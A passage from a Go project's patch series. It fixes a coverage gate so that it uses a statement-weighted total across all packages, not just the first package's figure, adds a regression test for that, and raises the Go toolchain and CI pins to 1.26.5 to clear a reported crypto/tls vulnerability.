cmd := exec.CommandContext(ctx, "go", "test", "-coverprofile", profilePath, target) cmd.Dir = workDir out, err := cmd.CombinedOutput() output := string(out) @@ -167,7 +181,13 @@ func evalCoverageAbove(ctx context.Context, workDir string, c Criterion) Result return Result{Criterion: c, Passed: false, Actual: output, Message: fmt.Sprintf("test+cover failed: %v", err)} } - coverage := parseCoverage(output) + // Prefer the statement-weighted aggregate from the profile; fall back to the + // per-run summary line only if the profile can't be reduced (e.g. a target + // with no statements at all). + coverage := coverageTotal(ctx, workDir, profilePath) + if coverage < 0 { + coverage = parseCoverage(output) + } if coverage < 0 { return Result{Criterion: c, Passed: false, Actual: output, Message: "could not parse coverage from output"} } @@ -316,7 +336,9 @@ func untrackedFiles(workDir string) map[string]struct{} { } // parseCoverage extracts the coverage percentage from go test -cover output. -// Returns -1 if not found. +// Returns -1 if not found. NOTE: this reads only the FIRST "coverage:" line; +// for a multi-package target use coverageTotal, which is statement-weighted +// across the whole profile. parseCoverage remains as a single-package fallback. func parseCoverage(output string) float64 { re := regexp.MustCompile(`coverage:\s+([\d.]+)%`) match := re.FindStringSubmatch(output) @@ -329,3 +351,31 @@ func parseCoverage(output string) float64 { } return v } + +// coverageTotal reduces a coverage profile to a single statement-weighted total +// percentage via `go tool cover -func`. Returns -1 if it cannot be determined. +func coverageTotal(ctx context.Context, workDir, profilePath string) float64 { + cmd := exec.CommandContext(ctx, "go", "tool", "cover", "-func", profilePath) + cmd.Dir = workDir + out, err := cmd.CombinedOutput() + if err != nil { + return -1 + } + return parseFuncTotal(string(out)) +} + +// parseFuncTotal extracts the percentage from the "total:" line of +// `go tool cover -func` output (e.g. "total:\t(statements)\t81.6%"). Returns -1 +// if not found. +func parseFuncTotal(output string) float64 { + re := regexp.MustCompile(`total:\s+\(statements\)\s+([\d.]+)%`) + match := re.FindStringSubmatch(output) + if len(match) < 2 { + return -1 + } + v, err := strconv.ParseFloat(match[1], 64) + if err != nil { + return -1 + } + return v +} diff --git a/internal/criteria/evaluator_test.go b/internal/criteria/evaluator_test.go index 3c89573..82f0740 100644 --- a/internal/criteria/evaluator_test.go +++ b/internal/criteria/evaluator_test.go @@ -2,11 +2,24 @@ package criteria import ( "context" + "fmt" "os" "path/filepath" + "strings" "testing" ) +// mustWriteFile writes body to path, creating parent directories. +func mustWriteFile(t *testing.T, path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatalf("mkdir %s: %v", filepath.Dir(path), err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatalf("write %s: %v", path, err) + } +} + func TestFileExists_Pass(t *testing.T) { dir := t.TempDir() _ = os.WriteFile(filepath.Join(dir, "main.go"), []byte("package main"), 0644) @@ -290,6 +303,43 @@ func TestCoverageAbove_Fail(t *testing.T) { } } +// TestCoverageAbove_MultiPackage_AggregatesNotFirstPackage locks in the fix for +// the false-green: against the default "./..." target, `go test -cover` prints +// one coverage line per package. Package "aaa" is fully covered (100%); package +// "zzz" is almost entirely uncovered. Reading only the first (alphabetical) +// coverage line — as the old bare regex did — would report ~100% and PASS a +// threshold the repo as a whole does not meet. The statement-weighted total +// must reflect zzz's uncovered mass and FAIL. +func TestCoverageAbove_MultiPackage_AggregatesNotFirstPackage(t *testing.T) { + if testing.Short() { + t.Skip("skipping real go toolchain coverage test in -short mode") + } + dir := t.TempDir() + mustWriteFile(t, filepath.Join(dir, "go.mod"), "module multicov\n\ngo 1.21\n") + + // Package aaa: one tiny fully-covered function → sorts first. + mustWriteFile(t, filepath.Join(dir, "aaa", "a.go"), "package aaa\n\nfunc A() int { return 1 }\n") + mustWriteFile(t, filepath.Join(dir, "aaa", "a_test.go"), + "package aaa\n\nimport \"testing\"\n\nfunc TestA(t *testing.T) {\n\tif A() != 1 {\n\t\tt.Fatal(\"x\")\n\t}\n}\n") + + // Package zzz: many statements, essentially none covered → sorts last and + // dominates the statement-weighted total. + var big strings.Builder + big.WriteString("package zzz\n\n") + for i := 0; i < 40; i++ { + fmt.Fprintf(&big, "func F%d(n int) int {\n\tx := n + %d\n\tx = x * 2\n\tx = x - 1\n\treturn x\n}\n\n", i, i) + } + mustWriteFile(t, filepath.Join(dir, "zzz", "z.go"), big.String()) + // A test file that runs NO functions, so zzz coverage ≈ 0%. + mustWriteFile(t, filepath.Join(dir, "zzz", "z_test.go"), + "package zzz\n\nimport \"testing\"\n\nfunc TestNothing(t *testing.T) {}\n") + + r := Evaluate(context.Background(), dir, Criterion{Type: TypeCoverageAbove, Expected: "80.0"}) + if r.Passed { + t.Errorf("BUG: coverage gate passed on the first package's number; aggregate is far below 80%% (actual=%s)", r.Actual) + } +} + func TestCoverageAbove_InvalidThreshold(t *testing.T) { r := Evaluate(context.Background(), t.TempDir(), Criterion{Type: TypeCoverageAbove, Expected: "not-a-number"}) if r.Passed { From b0c93f2de46e6611dbffc1668945de0d25db347f Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 20 Jul 2026 05:48:45 +0000 Subject: [PATCH 3/3] fix: bump Go toolchain to 1.26.5 to clear CALLED crypto/tls vuln GO-2026-5856 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CI govulncheck flagged GO-2026-5856 (Encrypted Client Hello privacy leak in crypto/tls), present in the go1.26.4 standard library and CALLED via web.Server.Start, docker.Client.Ping, metrics.Recorder.Record, and update.Checker. Fixed in go1.26.5. Bump the go.mod toolchain directive and the CI setup-go pins to 1.26.5 — the same remediation pattern the repo already uses for the earlier 1.26.x stdlib CVEs. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01UPCbBB875JzQVMetfqqido --- .github/workflows/ci.yml | 12 ++++++------ go.mod | 10 ++++++---- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index dab4a42..cc47410 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -21,7 +21,7 @@ jobs: - name: Setup Go uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Install dependencies run: go mod download @@ -122,7 +122,7 @@ jobs: - name: Setup Go uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Run golangci-lint uses: golangci/golangci-lint-action@4afd733a84b1f43292c63897423277bb7f4313a9 # v8.0.0 @@ -142,7 +142,7 @@ jobs: - name: Setup Go uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Build binary run: go build -o nxd ./cmd/nxd @@ -195,7 +195,7 @@ jobs: - name: Setup Go uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Install tmux run: | @@ -246,7 +246,7 @@ jobs: - name: Setup Go uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Install govulncheck run: go install golang.org/x/vuln/cmd/govulncheck@latest @@ -268,7 +268,7 @@ jobs: - name: Setup Go uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Run GoReleaser uses: goreleaser/goreleaser-action@e435ccd777264be153ace6237001ef4d979d3a7a # v6.4.0 diff --git a/go.mod b/go.mod index 29cf414..a1fe063 100644 --- a/go.mod +++ b/go.mod @@ -5,10 +5,12 @@ go 1.26.1 // toolchain pins the minimum Go toolchain so that builds (local and CI) // pull a patch level that clears the 1.26.x stdlib CVEs surfaced by // govulncheck (GO-2026-4866, -4870, -4918, -4946, -4947, -4971, -5037, -// -5039). With GOTOOLCHAIN=auto (default), older local installs will -// fetch 1.26.4 on first build instead of compiling against a vulnerable -// stdlib. -toolchain go1.26.4 +// -5039, and GO-2026-5856 — the Encrypted Client Hello privacy leak in +// crypto/tls, CALLED via web.Server.Start / docker.Client.Ping / +// metrics.Recorder.Record / update.Checker, fixed in 1.26.5). With +// GOTOOLCHAIN=auto (default), older local installs will fetch this patch +// level on first build instead of compiling against a vulnerable stdlib. +toolchain go1.26.5 require ( github.com/charmbracelet/bubbletea v1.3.10